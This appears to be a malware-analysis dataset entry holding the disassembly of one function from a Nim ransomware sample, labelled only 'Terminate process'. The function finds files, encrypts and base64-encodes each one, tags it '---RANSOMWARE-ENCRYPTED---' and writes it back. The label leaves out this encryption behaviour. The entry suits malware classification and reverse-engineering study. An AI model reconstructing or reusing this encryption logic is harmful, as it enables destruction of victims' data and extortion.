Function at 0x140020a50
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x108
mov r8d, 8
mov edx, 0x10
mov ecx, 3
call sym.newSeqPayload
lea r13, [rsp + 0x80]
movdqa xmm2, xmmword [0x140031770]
mov qword [rax + 8], 0x40
mov rdi, rax
mov rcx, r13
lea rax, [0x140031720]
mov qword [rdi + 0x18], 0x44
mov qword [rdi + 0x10], rax
lea rax, [0x1400316c0]
mov qword [rdi + 0x20], rax
lea rax, [0x140031680]
mov qword [rdi + 0x30], rax
lea rax, [rsp + 0x70]
mov qword [rdi + 0x28], 0x36
mov rdx, rax
movaps xmmword [rsp + 0x80], xmm2
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x70], 3
mov qword [rsp + 0x78], rdi
call sym.askConsent__nimaliciousZconsent_u18
mov rcx, qword [0x1400321d0]
call dbg.__emutls_get_address
cmp byte [rax], 0
mov rbx, rax
jne 0x140021075
mov rcx, r13
mov edx, 0x100
call sym.genKey__nimaliciousZcrypto_u4
cmp byte [rbx], 0
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
jne 0x140021075
test rcx, rcx
mov rsi, rcx
mov qword [0x140037600], rax
lea rdx, [rcx + 8]
mov qword [0x140037608], rcx
cmovne rsi, rdx
mov rdx, rax
xor ebp, ebp
add rdx, 0xffffffffffffffff
seto bpl
jo 0x140021580
cmp rdx, 0xffffffffffffffff
je 0x140021550
mov r8, rdx
shr r8, 0x3f
cmp rax, rdx
setle cl
or cl, r8b
jne 0x1400210e0
test rax, rax
jle 0x1400210e0
cmp rax, 0x1f
mov rbp, rax
jle 0x140021550
lea rcx, [0x140037220]
mov r8, rbp
mov rdx, rsi
call sym.keySchedule__gen95ransom_u212
cmp byte [rbx], 0
jne 0x140021075
lea rcx, [sym.exit__gen95ransom_u568]
call sym.setControlCHook__system_u4025
mov rcx, r13
call sym.findFiles__nimaliciousZfiles_u41
mov rax, qword [rsp + 0x80]
cmp byte [rbx], 0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x88]
jne 0x140021658
mov rsi, qword [rsp + 0x38]
xor r14d, r14d
mov qword [0x1400375f8], rax
movabs r15, 0x4000000000000000
test rsi, rsi
mov qword [0x1400375f0], rsi
mov rax, rsi
jle 0x1400213d5
mov qword [rsp + 0x48], rdi
mov qword [0x1400371f0], 0
cmp rax, r14
mov qword [0x1400371f8], 0
mov qword [0x1400371e0], 0
mov qword [0x1400371e8], 0
jle 0x140021310
mov rdx, qword [0x1400375f8]
mov rax, r14
shl rax, 4
lea rax, [rdx + rax + 8]
mov rdx, qword [0x140037208]
mov qword [0x140037200], rax
add rdx, 1
jo 0x140021746
lea rax, [0x1400315b0]
mov rcx, r13
mov qword [0x140037208], rdx
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x90], 0xb
call sym.dollar___systemZdollars_u8
cmp byte [rbx], 0
mov rax, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
jne 0x140021040
mov rdx, qword [0x1400375f0]
mov qword [rsp + 0xa0], rax
mov rcx, r13
lea rax, [0x140031590]
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xb0], 0xd
call sym.dollar___systemZdollars_u8
cmp byte [rbx], 0
mov rax, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
jne 0x1400215d0
mov qword [rsp + 0xc0], rax
lea rax, [0x140031570]
mov edx, 7
mov qword [rsp + 0xd8], rax
mov rax, qword [0x140037200]
lea rcx, [rsp + 0x90]
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], 9
movdqu xmm0, xmmword [rax]
lea rax, [0x140031560]
mov qword [rsp + 0xf0], 1
mov qword [rsp + 0xf8], rax
movaps xmmword [rsp + 0xe0], xmm0
call sym.echoBinSafe
mov rax, qword [0x140037200]
mov rcx, r13
mov rdx, qword [rsp + 0x40]
movdqu xmm1, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm1
call sym.readFile__stdZsyncio_u658
cmp byte [rbx], 0
mov rax, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x88]
jne 0x140021348
mov rdx, qword [rsp + 0x40]
mov rcx, r13
mov r8d, 0x10
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rbp
call sym.autoPadStr__nimaliciousZcrypto_u427
cmp byte [rbx], 0
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
jne 0x140021348
test rcx, rcx
mov qword [0x1400371f0], rcx
mov qword [0x1400371f8], rax
js 0x1400213b0
mov rdx, rcx
mov rcx, r13
call sym.mnewString
movdqu xmm4, xmmword [rsp + 0x80]
movaps xmmword [0x1400371e0], xmm4
mov rdx, qword [0x1400371e8]
test rdx, rdx
je 0x140021600
test byte [rdx + 7], 0x40
je 0x1400214e8
lea rcx, [0x1400371e0]
call sym.nimPrepareStrMutationImpl__system_u2380
mov rdx, qword [0x1400371e8]
mov r10, qword [0x1400371e0]
test rdx, rdx
je 0x140020e4c
add rdx, 8
mov r9, qword [0x1400371f8]
mov r8, qword [0x1400371f0]
lea rax, [r9 + 8]
test r9, r9
cmovne r9, rax
mov rcx, r8
xor eax, eax
sub rcx, 1
seto al
jo 0x140021518
cmp rcx, 0xffffffffffffffff
je 0x1400214f8
cmp r8, rcx
mov r11, rcx
setle r12b
shr r11, 0x3f
or r11b, r12b
jne 0x1400210f0
test r8, r8
jle 0x1400210f0
mov r8, r10
sub r8, 1
seto r12b
mov r11, r8
movzx r12d, r12b
mov qword [rsp + 0x50], r12
jo 0x140021518
lea r12, [rcx + 1]
cmp r8, 0xffffffffffffffff
je 0x140020efa
cmp r10, r11
mov r8, r11
setle r12b
shr r8, 0x3f
or r8b, r12b
jne 0x1400215e8
test r10, r10
jle 0x1400215e8
lea r10, [r11 + 1]
cmp rcx, r11
mov qword [rsp + 0x50], r10
lea r12, [rcx + 1]
jle 0x140020f39
movdqa xmm3, xmmword [0x140031510]
mov rcx, r13
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x58], rdx
movaps xmmword [rsp + 0x80], xmm3
call sym.failedAssertImpl__stdZassertions_u235
cmp byte [rbx], 0
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
jne 0x140021348
test r12b, 0xf
je 0x140020f7e
movdqa xmm2, xmmword [0x1400314b0]
mov rcx, r13
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x58], rdx
movaps xmmword [rsp + 0x80], xmm2
call sym.failedAssertImpl__stdZassertions_u235
cmp byte [rbx], 0
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
jne 0x140021348
cmp rax, r12
mov qword [rsp + 0x58], rsi
mov rsi, rdx
mov qword [rsp + 0x60], rbp
mov rbp, r9
mov qword [rsp + 0x68], rdi
jge 0x140021022
mov rdi, rax
add rdi, 0x10
jo 0x14002175a
mov rcx, rdi
add rcx, 0xffffffffffffffff
jo 0x14002175a
mov r8, rcx
sub r8, rax
cmp r8, 0xffffffffffffffff
je 0x140020fef
mov rdx, rax
or rdx, rcx
js 0x140021721
cmp rcx, r12
jge 0x140021721
mov r11, qword [rsp + 0x50]
cmp rax, rcx
mov rdx, rcx
cmovge rdx, rax
cmp rdx, r11
jge 0x1400216fc
lea rdx, [rbp + rax]
add r8, 1
mov qword [rsp + 0x20], r8
lea r9, [rsi + rax]
lea rcx, [0x140037220]
call sym.encrypt__gen95ransom_u839
cmp byte [rbx], 0
jne 0x1400216a0
mov rax, rdi
cmp rax, r12
jl 0x140020f9c
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
movzx eax, byte [rbx]
jmp 0x1400210fd
mov rcx, qword [0x1400371e8]
xor edi, edi
test rcx, rcx
jne 0x14002132c
mov rcx, qword [0x1400371f8]
test rcx, rcx
jne 0x1400212c2
test rsi, rsi
jne 0x1400212de
nop dword [rax + rax]
mov rdi, qword [rsp + 0x48]
mov rcx, r13
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], 3
call sym.eqdestroy___system_u3788
cmp byte [rbx], 0
jne 0x1400210c4
movdqa xmm3, xmmword [0x1400375f0]
mov rcx, r13
movaps xmmword [rsp + 0x80], xmm3
call sym.eqdestroy___system_u3788
mov rcx, qword [0x140037608]
test rcx, rcx
je 0x1400210c4
test byte [rcx + 7], 0x40
je 0x140021528
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.nimTestErrorFlag
mov r8, rax
xor ecx, ecx
call sym.raiseIndexError4
jmp 0x140020ba4
mov rdx, rcx
xor ecx, ecx
call sym.raiseIndexError4
movzx eax, byte [rbx]
test al, al
mov rcx, qword [0x1400371e8]
jne 0x140021296
mov r8, qword [0x1400371e0]
lea rdx, [rcx + 8]
test rcx, rcx
cmove rdx, rcx
xor r9d, r9d
mov rcx, r13
call sym.encode__pureZbase64_u42
cmp byte [rbx], 0
mov r9, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
jne 0x14002127e
lea rdx, [r9 + 0x1b]
mov rcx, r13
mov qword [rsp + 0x50], r9
call sym.rawNewString
mov rax, qword [rsp + 0x80]
movabs rcx, 0x4f534e41522d2d2d
mov r11, qword [rsp + 0x88]
mov r9, qword [rsp + 0x50]
mov r10, rax
lea rdx, [rax + r11 + 8]
add r10, 0x1b
mov qword [rdx], rcx
movabs rcx, 0x4e452d455241574d
mov qword [rdx + 8], rcx
movabs rcx, 0x2d44455450595243
mov qword [rdx + 0x10], rcx
mov dword [rdx + 0x18], 0xa2d2d
jo 0x1400216c0
test r9, r9
jle 0x1400215bf
mov r8, r9
add r8, 1
jo 0x14002176e
test r8, r8
js 0x140021590
lea rcx, [r10 + r11 + 8]
mov qword [rsp + 0x58], r11
lea rdx, [r12 + 8]
mov qword [rsp + 0x50], r10
mov qword [rsp + 0x60], r9
call sym.memcpy
mov rax, qword [rsp + 0x60]
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x58]
add rax, r10
jo 0x1400216e8
mov rdx, r13
mov qword [rsp + 0x80], rax
lea rcx, [0x1400371e0]
mov qword [rsp + 0x88], r11
call sym.eqsink___system_u2635
mov rax, qword [0x140037200]
mov rcx, r13
mov rdx, qword [rsp + 0x40]
movdqu xmm5, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm5
movdqa xmm5, xmmword [0x1400371e0]
movaps xmmword [rsp + 0x70], xmm5
call sym.writeFile__stdZsyncio_u663
cmp byte [rbx], 0
jne 0x140021668
mov rax, qword [rsp + 0x38]
cmp qword [0x1400375f0], rax
je 0x14002127a
movdqa xmm4, xmmword [0x140031430]
mov rcx, r13
movaps xmmword [rsp + 0x80], xmm4
call sym.failedAssertImpl__stdZassertions_u235
add r14, 1
test r12, r12
mov rcx, qword [0x1400371e8]
je 0x140021296
test byte [r12 + 7], 0x40
je 0x140021340
test rcx, rcx
je 0x1400212a7
mov rax, r15
and rax, qword [rcx]
je 0x14002178c
test rbp, rbp
je 0x1400212b6
test byte [rbp + 7], 0x40
je 0x140021378
mov rcx, qword [0x1400371f8]
test rcx, rcx
je 0x1400212cc
test byte [rcx + 7], 0x40
je 0x140021380
test rdi, rdi
je 0x1400212d9
mov rax, r15
and rax, qword [rdi]
je 0x140021358
test rsi, rsi
je 0x1400212ea
mov rax, r15
and rax, qword [rsi]
je 0x140021368
cmp byte [rbx], 0
jne 0x140021070
cmp qword [rsp + 0x38], r14
jle 0x1400213d0
mov rax, qword [0x1400375f0]
jmp 0x140020c10
lea rdx, [rax - 1]
mov rcx, r14
call sym.raiseIndexError2
mov rcx, qword [0x1400371e8]
xor esi, esi
xor edi, edi
test rcx, rcx
je 0x140021390
test byte [rcx + 7], 0x40
jne 0x1400212b6
call sym.deallocShared
jmp 0x1400212b6
mov rcx, r12
call sym.deallocShared
mov rcx, qword [0x1400371e8]
jmp 0x140021296
mov rcx, rdi
call sym.deallocShared
jmp 0x1400212d9
mov rcx, rsi
call sym.deallocShared
jmp 0x1400212ea
mov rcx, rbp
jmp 0x140021332
call sym.deallocShared
jmp 0x1400212cc
mov rcx, qword [0x1400371f8]
xor edi, edi
xor esi, esi
test rcx, rcx
jne 0x1400212c2
jmp 0x1400212ea
movabs r8, 0x7fffffffffffffff
xor edx, edx
call sym.raiseRangeErrorI
mov rcx, qword [0x1400371e8]
jmp 0x140021296
mov rdi, qword [rsp + 0x48]
lea rcx, [0x140031260]
mov edx, 1
call sym.echoBinSafe
mov edx, 1
lea rcx, [0x140031250]
call sym.echoBinSafe
mov edx, 1
lea rcx, [0x140031240]
call sym.echoBinSafe
cmp qword [0x14002e500], 0
je 0x140021610
lea r12, [0x140031300]
lea rbp, [rsp + 0x90]
jmp 0x140021447
cmp byte [rbx], 0
jne 0x140021075
cmp qword [0x14002e500], 0
je 0x140021610
mov ecx, 0xea60
call sym.nossleep
cmp byte [rbx], 0
jne 0x140021075
mov rdx, qword [0x14002e500]
sub rdx, 1
jo 0x140021750
mov rcx, r13
mov qword [0x14002e500], rdx
call sym.dollar___systemZdollars_u8
cmp byte [rbx], 0
mov rax, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
jne 0x140021075
mov edx, 2
mov rcx, rbp
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], 0x13
mov qword [rsp + 0xa8], r12
call sym.echoBinSafe
test rsi, rsi
je 0x140021430
test byte [rsi + 7], 0x40
jne 0x140021430
mov rcx, rsi
call sym.deallocShared
jmp 0x140021430
mov r10, qword [0x1400371e0]
jmp 0x140020e48
mov r8, r10
sub r8, 1
seto r12b
mov r11, r8
movzx r12d, r12b
mov qword [rsp + 0x50], r12
jno 0x140021538
nop dword [rax]
call sym.raiseOverflow
movzx eax, byte [rbx]
jmp 0x1400210fd
call sym.deallocShared
jmp 0x1400210c4
xor r12d, r12d
cmp r8, 0xffffffffffffffff
jne 0x140020ec8
jmp 0x140020f7e
movdqa xmm3, xmmword [0x140031630]
mov rcx, r13
movaps xmmword [rsp + 0x80], xmm3
call sym.failedAssertImpl__stdZassertions_u235
cmp byte [rbx], 0
je 0x140020b92
jmp 0x140021075
call sym.raiseOverflow
jmp 0x140020ba4
movabs r8, 0x7fffffffffffffff
xor edx, edx
mov qword [rsp + 0x58], r11
movabs rcx, 0x8000000000000000
mov qword [rsp + 0x50], r10
call sym.raiseRangeErrorI
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x58]
mov rax, r10
jmp 0x1400211ff
mov rcx, qword [0x1400371e8]
test rcx, rcx
jne 0x14002132c
jmp 0x1400212b6
mov r8, r10
mov rdx, r11
xor ecx, ecx
call sym.raiseIndexError4
movzx eax, byte [rbx]
jmp 0x1400210fd
mov r10, qword [0x1400371e0]
jmp 0x140020e4c
lea rcx, [0x140031230]
mov edx, 1
call sym.echoBinSafe
mov edx, 1
lea rcx, [0x140031220]
call sym.echoBinSafe
mov edx, 0x3c8
lea rcx, [0x140037220]
call sym.burnMem__pkgZnimcryptoZutils_u302
cmp byte [rbx], 0
jne 0x140021075
xor ecx, ecx
call sym.exit
nop dword [rax + rax]
mov rcx, r13
call sym.eqdestroy___system_u3788
jmp 0x140021075
mov rcx, qword [0x1400321c0]
mov byte [rbx], 0
call dbg.__emutls_get_address
xor r8d, r8d
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax + 0x38]
call sym.eqcopy___stdZtypedthreads_u187
cmp byte [rbx], 0
jne 0x14002127e
jmp 0x140021254
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rcx, qword [0x1400371e8]
jmp 0x140021296
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x58], rax
call sym.raiseOverflow
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x60]
mov r9, qword [rsp + 0x50]
jmp 0x1400211aa
call sym.raiseOverflow
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x58]
jmp 0x1400215bf
mov rdx, rcx
mov r8, r11
mov rcx, rax
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
call sym.raiseIndexError4
movzx eax, byte [rbx]
jmp 0x1400210fd
mov rdx, rcx
mov r8, r12
mov rcx, rax
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
call sym.raiseIndexError4
movzx eax, byte [rbx]
jmp 0x1400210fd
call sym.raiseOverflow
jmp 0x14002131c
call sym.raiseOverflow
jmp 0x140021430
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
jmp 0x140021518
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x50], r10
call sym.raiseOverflow
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x58]
jmp 0x1400215bf
call sym.deallocShared
jmp 0x1400212a7